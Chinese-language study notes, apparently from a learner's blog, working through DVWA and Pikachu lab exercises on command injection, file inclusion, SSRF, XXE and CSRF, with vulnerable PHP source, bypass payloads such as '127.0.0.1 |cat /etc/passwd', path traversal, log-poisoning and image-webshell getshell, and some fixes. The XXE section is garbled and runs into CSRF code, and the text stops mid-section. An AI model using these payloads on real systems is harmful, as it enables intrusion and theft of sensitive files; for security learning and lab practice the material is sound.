TOC
远程命令执行漏洞
RCE概述
RCE英⽂全称:Remote Command/Code Execute,分为 远程命令执⾏(⽐如ping) 和 远程代码执⾏(⽐如eval)。
RCE漏洞,可以让攻击者直接向后台服务器远程注⼊操作系统命令或者代码,从⽽控制后台系统,这⼀过程也就是我们常说的Getshell。
远程命令执行
应⽤系统从设计上需要给⽤户提供指定的远程命令操作的接⼝。
Ping是Windows、Unix和Linux系统下的⼀个命令。ping也属于⼀个通信协议,是TCP/IP协议的⼀部分。利⽤"ping"命令可以检查⽹络是否连通,可以更好地帮助我们分析和判定⽹络故障。应⽤格式:ping + IP地址
远程代码执行
因为需求设计,后台有时候会把⽤户的输⼊作为代码的⼀部分进⾏执⾏,如果没有做好过滤或者过滤不严,可能会造成远程代码执⾏漏洞。
DVWA演示
Low
该处设置⼀个ping功能,输⼊⼀个IP地址即可以从服务器对该地址执⾏ping操作。

源代码如下:
php
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
命令⾏的⼏种操作⽅式:
css
A && B: 先执⾏A,如果成功,执⾏B
A || B: 先执⾏A,如果失败,执⾏B
A | B: 管道符,先执⾏A后,将A的结果作为B的输⼊,打印的是B的结果
A & B: 先执⾏A,然后不管成功与否,执⾏B(等同于";")
输⼊框中填⼊
bash
127.0.0.1 & ls
这些内容都会作为target参数传⼊服务器从⽽拼接出整个系统命令并执⾏。
效果如下:

Medium
Medium只对 && 与 ; 两种符号进⾏过滤,所以⽤其他的 & 、 | 、 || 同样可以进⾏攻击。
源代码如下:
php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
); //过滤 && 和 ;
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>

High
对于High,它对可能造成攻击的符号都进⾏了过滤操作,但是在对 | 进⾏过滤的时候,多了⼀个空 格。
源代码如下:
php
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '', //多了个空格
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
输入
bash
127.0.0.1 |cat /etc/passwd

文件包含漏洞
原理
程序开发⼈员⼀般会把重复使⽤的函数写到单个⽂件中,需要使⽤某个函数时直接调⽤此⽂件,⽽⽆需再次编写,这种⽂件调⽤的过程⼀般被称为⽂件包含。程序开发⼈员⼀般希望代码更灵活,所以将被包含的⽂件设置为变量,⽤来进⾏动态调⽤,但正是由于这种灵活性,从⽽导致客户端可以调⽤恶意⽂件,造成⽂件包含漏洞。
在通过PHP函数引⼊⽂件时,由于传⼊的⽂件名没有经过合理的校验,操作了预想之外的⽂件,从⽽导致意外的⽂件泄露甚⾄恶意代码注⼊。
分类
1. 本地文件包含
- 只能包含本地服务器上存在的⽂件。
- ⽤户对输⼊可控且⽆过滤
- 可以利⽤相对路径或绝对路径读取系统敏感⽂件
2. 远程文件包含
包含远程服务器上的⽂件。 需要php.ini开启了allow_url_fopen和allow_url_include的配置。包含的⽂件是第三⽅服务器(⽐如:攻击者搭建的⼀台Web服务器)的⽂件。
- allow_url_fopen=On(默认为On)规定是否允许从远程服务器或者⽹站检索数据
- allow_url_include=On(php5.2之后默认为Off)规定是否允许include/require远程⽂件
本地⽂件包含与远程⽂件包含有着相同的原理,但前者只能包含本地服务器上存在的⽂件,⽽后者可以包含远程服务器上的⽂件。
常见文件包含函数
scss
require()
include()
require_once()
include_once()
nclude和require区别主要是,include在包含的过程中如果出现错误,会抛出⼀个警告,程序继续正常运⾏;⽽require函数出现错误的时候,会直接报错并退出程序的执⾏。
⽽include_once(),require_once()这两个函数,与前两个的不同之处在于这两个函数只包含⼀次。适⽤于在脚本执⾏期间同⼀个⽂件有可能被包含超过⼀次的情况,想确保它只被包含⼀次以避免函数重定义、变量重新赋值等问题。
发现漏洞
URL中如果出现了如下内容就可能存在⽂件包含漏洞
ini
?page=
?file=
?home=
常见的敏感信息路径
Windows系统:
arduino
c:\boot.ini //查看系统版本
c:\windows\repair\sam //存储windows系统初次安装的密码
c:\programFiles\mysql\my.ini //MySQL配置⽂件,内置root密码
c:\windows\php.ini //PHP配置⽂件
c:\windows\system32\inetsrc\MetaBase.xml //IIS配置⽂件
Linux/Unix系统:
/etc/passwd
/etc/shadow //账户密码⽂件
/usr/local/app/apache2/conf/httpd.conf //Apache2默认配置⽂件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟⽹站配置
/usr/local/app/php5/lib/php.ini //PHP配置⽂件
/etc/httpd/conf/httpd.conf //Apache配置⽂件
/etc/my.cnf //MySQL配置⽂件
方法
- 观察URL链接是否包括以下类似的关键字:page/include/path/file/link/url等,如果有,则可能存 在⽂件包含漏洞;
- 观察在URL中,出现的赋值参数等号后的内容是否为⼀个⽂件,如果是,则可能存在⽂件包含漏洞;
- 在关键字处或明显被⽂件赋值的参数处,尝试进⾏赋值,如:www.baidu.com;或系统常⻅⽂件,如:/etc/passwd(...
- 配合⽂件上传漏洞进⾏验证
DVWA演示
(由于linux的docker无法修改容器内php.in文件,所以采用本地文件包含)

Low
源码分析得出:直接通过GET⽅法去传递page参数进⾏⽂件包含,没有任何过滤。
php
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
尝试获取服务器上的⽂件内容,输⼊../../../../../../(多少个../都⾏,越多越好)etc/passwd,
../ 返回上级⽬录,当返回到根⽬录时再../还是根⽬录,然后直接访问Linux系统的passwd⽂件。


也可以尝试包含php.ini,可以看到,现在的⻚⾯是在 vulnerabilities/fi/file1.php,如果想要访问php.ini 需要回退两次,可以输⼊../../php.ini

Medium
源代码如下:
php
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>
Medium级别的代码增加了str_replace函数,对page参数进⾏了⼀定的过滤,将"http://"、"https://"、 " ../"、"..\"替换为空字符。但str_replace函数并不是很安全,双写就可以绕过了。
bash
..././..././..././..././..././etc/passwd

⽽且" ../"、"..\"替换为空字符,那么对于绝对路径来讲,是不受任何影响的。

High
源代码如下:
php
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) { //这⾥⽤了fnmatch函数
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
可以看到,这⾥⽤了fnmatch函数。
fnmatch() 函数根据指定的模式来匹配⽂件名或字符串 语法:
c
fnmatch(pattern,string,flags)
pattern 必需。规定要检索的模式。
string 必需。规定要检查的字符串或⽂件。
flags 可选。
限制了page参数的开头必须是file或者include.php,可以⽤file://协议进⾏⽂件读取从⽽实现绕过
perl
file:///etc/passwd

Impossible
源代码如下:
php
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
⽩名单⽅式,⽂件名写死了,其他⽂件都不可能包含。
文件包含getshell
1. 中间件日志包含绕过
DVWA中,apache2⽇志⽂件路径为: /var/log/apache2/access.log 包含⽇志⽂件,需要先对⽇志⽂件和⽬录添加权限,让Web端有权限去访问:
ruby
root@c1f28c3146d7:/var/log# chmod 755 /var/log/apache2
root@c1f28c3146d7:/var/log/apache2# chmod 644 access.log
修改完权限之后,访问
ruby
http://127.0.0.1:8080/vulnerabilities/fi/?page=<?php phpinfo();?>
http://127.0.0.1:8080/vulnerabilities/fi/?page=/var/log/apache2/access.log
用 burp 抓包,因为浏览器会进⾏url编码,发送到重放器进⾏修改,将编码字符改为原字符。


这一步我遇到了包含日志失败的问题
解决方法如下:
- 首先我遇到了浏览器500报错,因为无法远程文件包含,所以转用kali的浏览器排除这个可能的问题
- 转用kali的浏览器尝试时遇到了界面空白的问题,所以我进入容器,排查是否是php编码错误,
- 排查发现编码无错误、路径无错误、权限无错误后,还是有这个问题
- 我把错误日志发给了AI,AI指出是日志文件污染的问题
- 在AI的指引下,我清空了日志,重发php测试代码,重新修改权限,最后问题解决了

配合文件上传Getshell
攻击思路:
- 把代码+图⽚合在⼀起,最终看到还是⼀个图⽚,只是这个图⽚中有代码
- 上传⼀个含有php代码的jpg图⽚
- 以⽂件包含漏洞来执⾏图⽚的php代码 直接在 File Upload 模块上传 muma.jpg ,上传成功,获得上传路径


由于⽂件包含需要登录DVWA ,在未登录的状态下,会导致连接不成功,可以直接把已经登录的 Cookie 信息在编辑 shell 配置添加到 Header 头⾥,这样就可以了



ssrf 漏洞
漏洞简介
SSRF(Server-Side Request Forgery:服务端请求伪造)是由攻击者构造形成,由服务端发起请求的⼀种安全漏洞。⼀般情况下,SSRF攻击的⽬标是从外⽹⽆法访问的内部系统。正是因为它是由服务端发起的,所以它能够访问到与它相连⽽与外⽹隔离的内部系统。
漏洞原理
⼤多是由于服务端提供了从其他服务器应⽤获取数据的功能,但⼜没有对⽬标地址做严格过滤与限制,导致攻击者可以控制后端服务器对传⼊的任意地址发送请求,并返回对该⽬标请求的响应。
漏洞危害
(1)扫描内⽹开放服务 (2)向内部任意主机的任意端⼝发送payload来攻击内⽹服务 (3)DOS攻击(请求⼤⽂件,始终保持连接Keep-Alive Always) (4)攻击内⽹的Web应⽤,例如直接SQL注⼊、XSS攻击等 (5)利⽤file、gopher、dict协议读取本地⽂件、执⾏命令等
漏洞检测与绕过
漏洞检测
假设⼀个漏洞场景:某⽹站有⼀个在线加载功能可以把指定的远程图⽚加载到本地
bash
http://www.aaa.com/load.php?image=http://www.bbb.com/1.jpg
那么⽹站请求的⼤致步骤如下: ⽤户输⼊图⽚地址->请求发送到服务端解析->服务端请求链接地址的图⽚数据->获取请求的数据加载到前端显示。
这个过程中可能出现问题的点就在于访问请求发送到服务端的时候,图⽚加载请求是由服务端去加载的,⽽系统没有校验前端给定的参数是不是允许访问的地址域名,例如,上述链接可以修改为:
ruby
http://www.xxx.com/load.php?image=http://127.0.0.1:22
http://www.xxx.com/load.php?image=file:///etc/passwd
http://www.xxx.com/load.php?image=dict://127.0.0.1:22/data:data2 (dict可以向服务端⼝请求data data2)
http://www.xxx.com/load.php?image=gopher://127.0.0.1:2233/_test (向2233端⼝发送数据test,同样可以发送POST请求)
......
判断SSRF漏洞是否存在的重要前提是:请求⼀定是服务端发起的,以上链接即使存在也不⼀定代表这个 请求是服务端发起的。因此前提不满⾜的情况下,不需要考虑SSRF。
漏洞出现点
-
分享
通过URL参数的获取来实现点击链接的时候跳转到指定的分享⽂章。如果在此功能中没有对⽬标地址的范围做过滤与限制,则可能存在SSRF漏洞。 share.magedu.com/index.php?u...
-
图⽚加载与下载
图⽚加载存在于很多编辑器中,编辑器上传图⽚处,有的是加载本地图⽚到服务器内,也有的是采⽤加载远程图⽚的形式,向远程图⽚所在的服务器发起请求,如果没对加载的参数做限制则可能造成SSRF漏 洞。 image.magedu.com/image.php?i...
-
图⽚、⽂章收藏功能
例如title参数是⽂章的标题地址,代表了⼀个⽂章的地址链接,请求后返回⽂章是否保存、收藏 等返回信息。如果保存、收藏功能采⽤了此种形式保存⽂章,在没有限制参数的情况下,可能存在SSRF漏洞。 title.magedu.com/title?title...
-
利⽤参数中的关键字来查找利⽤参数中的关键字来查找
bashshare wap url link src source target display sourceURl imageURL domain
漏洞绕过
场景1 :限制为 www.xxx.com 域名 可以尝试采⽤http基本身份认证的⽅式绕过,通过添加@来构造URL: www.aaa.com@www.bbb.com。在对@解析域名时,不同处理函数存在处理差异,例如: www.aaa.com@www.bbb.com@www.ccc.com,在PHP的parse_url中会识别www.ccc.com, ⽽libcurl则识别为www.bbb.com。
场景2 :限制请求IP不为内⽹地址 即限制访问所有内⽹IP,可采⽤短⽹址绕过,suo.run/。
也可以使⽤在线进制转换, 127转换16进制为7f,系统中表示16进制前⾯要加0x,8进制前加0。


场景3:限制请求只为http协议 采⽤302跳转,百度短地址,或者使⽤短地址⽣成
场景4:利⽤句号绕过
127。0。0。1 >>> 127.0.0.1
其他绕过形式可以查看:www.secpulse.com/archives/65...
漏洞发现
SSRF漏洞有⼀个⽐较麻烦的地⽅在于:作为测试⼈员,有时候仅从URL的表现形式并不能判断是客户端还是服务端发起的请求。如果能接触到内⽹服务器,可以根据源IP来判断是请求⽅是客户端还是服务端,但很多情况下,测试⼈员并不具备条件接触内⽹服务器。
-
观察URL中是否有share、url、image等关键字
-
⽣成⼀个域名⽤于SSRF漏洞测试,看漏洞服务器是否发起DNS 解析请求,若成功访问在DNSLog.cn 上就会有解析⽇志。


-
抓包分析发送的请求是不是由服务端发送的,如果不是客户端发出的请求,则有可能是,接着找存在HTTP服务的内⽹地址尝试发起访问。
-
访问⽇志检查
Pikachu演示
打开Pikachu靶场
arduino
docker run -d -p 8000:80 area39/pikachu

观察URL,发现它传递了⼀个URL给后台

我们可以把URL中的内容改为百度

还可以利⽤file协议读取本地⽂件
perl
http://127.0.0.1:8000/vul/ssrf/ssrf_curl.php?url=file:///etc/passwd

SSRF(file_get_content)
file_get_contents() 函数的作⽤是把整个⽂件读⼊⼀个字符串中。 php://filter:可以在访问数据流之前进⾏「过滤」,并指定过滤⽅式,⽤于对来⾃⾮安全来源的数据(⽐如⽤户输⼊)进⾏验证和过滤。
file_get_contents⾥⾯带有 php://filter 我们可以它来读取php源码,所以构造URL:
ruby
http://127.0.0.1/vul/ssrf/ssrf_fgc.php?file=php://filter/resource=ssrf.php
直接使⽤ resource 指定 ssrf.php ⽂件,可以看到访问成功

但是php⽂件被解析了,我们希望拿到⽹站的源代码,那么需要对代码做⼀层编码,不让它解析,拿到之后我们再进⾏解码,这样就拿到了⽹站的源代码:在read参数中加⼊ convert.base64-encode
ini
http://127.0.0.1/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base6
4-encode/resource=ssrf.php

解码可得:base64.us/


漏洞修复
- 设置URL⽩名单或者内⽹IP⿊名单。
- 过滤返回信息,验证远程服务器对请求的响应。如果Web应⽤是去获取某⼀类型的⽂件,那么在将返回结果展示给⽤户之前先验证返回的信息是否合法。
- 禁⽤不需要的协议,仅仅允许http和https请求,可以防⽌类似于file://、gopher://、ftp:// 等引起的问题。
xxe 漏洞
漏洞简介
XXE:XML External Entity attack(外部实体注⼊攻击)。由于程序在解析输⼊的XML数据时,没有进充分过滤,解析了攻击者伪造的外部实体⽽产⽣的漏洞。
例如PHP中的simplexml_load默认情况下会解析外部实体,有XXE漏洞的标志性函数是 simplexml_load_string()。
XML外部实体
XML是⽤于标记电⼦⽂件使其具有结构性的标记语⾔,可以⽤来标记数据、定义数据类型,是⼀种允许⽤户对⼰的标记语⾔进⾏定义的源语⾔。XML⽂档结构包括XML声明、DTD(⽂档类型定义)、⽂档元素。
DTD-实体\]:
XML ⽂档声明,在⽂档的第⼀⾏
XML ⽂档类型定义(DTD),这⾥也是XXE漏洞所在的地⽅
XML ⽂档元素

DTD(⽂档类型定义)的作⽤是定义XML ⽂档的合法构建模块。DTD 可以在 XML ⽂档内声明,也可以外部引⽤。XML⽂档类型的声明如下:
```xml
内部声明DTD
举例:如上图
外部引⽤DTD
举例: 或者
```
DTD实体是⽤于定义引⽤普通⽂本或特殊字符的快捷⽅式的变量,因为DTD(⽂档类型定义)分为内部声明和外部引⽤两种利⽤⽅式,所以DTD实体⼜可以分成内部声明实体和外部引⽤实体。
```xml
内部声明实体
引⽤外部实体 或者
```
### 漏洞危害
当允许引⽤外部实体时,通过构造恶意内容,可导致读取任意⽂件、执⾏系统命令、探测内⽹端⼝、攻击内⽹服务等危害。
#### 读取任意文件
PHP中可以通过FILE协议、HTTP协议和FTP协议读取⽂件,还可利⽤PHP伪协议。
```xml
//FILE协议
]>
Password Changed."; } else { // Issue with passwords matching echo "
Passwords did not match."; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?> ``` 从源代码可以看出这⾥只是对⽤户输⼊的两个密码进⾏判断,看是否相等;不相等就提示密码不匹配。相等的话,查看设置数据库连接的全局变量和其是否为⼀个对象。如果是的话,⽤mysqli_real_escape_string() 函数去转义⼀些字符,再⽤MD5进⾏加密,更新数据库;如果不是的话输出错误。 知道了这些之后,我们尝试修改密码为password,可以看到修改成功。  看到顶部的URL是: ```ruby http://192.168.184.130/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change# ``` 构造playload: ```ruby http://192.168.184.130/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change# ``` 成功跳转:  但是,这样的payload,⼀般⼈都可以看出来存在陷阱,往往不会去点击,因此我们还需要进⼀步伪装,把它缩短。  ### 使用Burp生成CSRF利用POC 1. 在 Burp Suite Professional 中的任意位置选择需要测试或利⽤的请求。 2. 从右键单击上下⽂菜单中,选择参与⼯具/⽣成CSRF PoC。 3. Burp Suite 将⽣成 HTML代码 来触发选定的请求。 4. 可以调整 CSRF PoC ⽣成器中的各种选项,以微调攻击的各个⽅⾯。可能在⼀些不常⻅的情况下需要执⾏此操作以处理⼀些特殊的请求。 5. 将⽣成的 HTML 复制到⽹⻚中,再登录到易受攻击⽹站的浏览器中查看,测试是否成功发出了预期的请求并实现所需的操作。  选择⾃动包含脚本:  复制html  生成文件,用已经登陆网站的浏览器打开,模拟被攻击者点开网站。 ### 漏洞防御 1. 验证 HTTP Referer 字段 2. 在请求地址中添加 token 并验证 3. 添加验证码 ## tomcat 漏洞复现 ### Tomcat漏洞简介 Apache Tomcat 是⼀个开源的 Java Servlet 容器 和 Web 服务器,由 Apache 软件基⾦会开发。它是Java EE (现 Jakarta EE) 规范中 Servlet、JSP (JavaServer Pages) 和 WebSocket 技术的官⽅参考实现。 Tomcat 作为轻量级的 Java Web 服务器,因其简单易⽤、性能良好和开源免费的特点,成为 JavaWeb 开发中最受欢迎的应⽤服务器之⼀。 #### 目录结构 ```python tomcat/ ├── bin/ # 启动/关闭脚本 ├── conf/ # 配置⽂件 │ ├── server.xml # 主配置⽂件 │ ├── web.xml # 全局web应⽤配置 │ └── context.xml # 上下⽂配置 ├── lib/ # 共享库 ├── logs/ # ⽇志⽂件 ├── temp/ # 临时⽂件 ├── webapps/ # 应⽤部署⽬录 └── work/ # ⼯作⽬录(JSP编译结果等) ``` #### 部署方式 将 WAR ⽂件放⼊ webapps/ ⽬录,Tomcat 会⾃动解压并部署。 ### 复现环境 vulhub-master\\tomcat\\tomcat8 在 tomcat-users.xml ⽂件中配置⽤户的权限: ```ini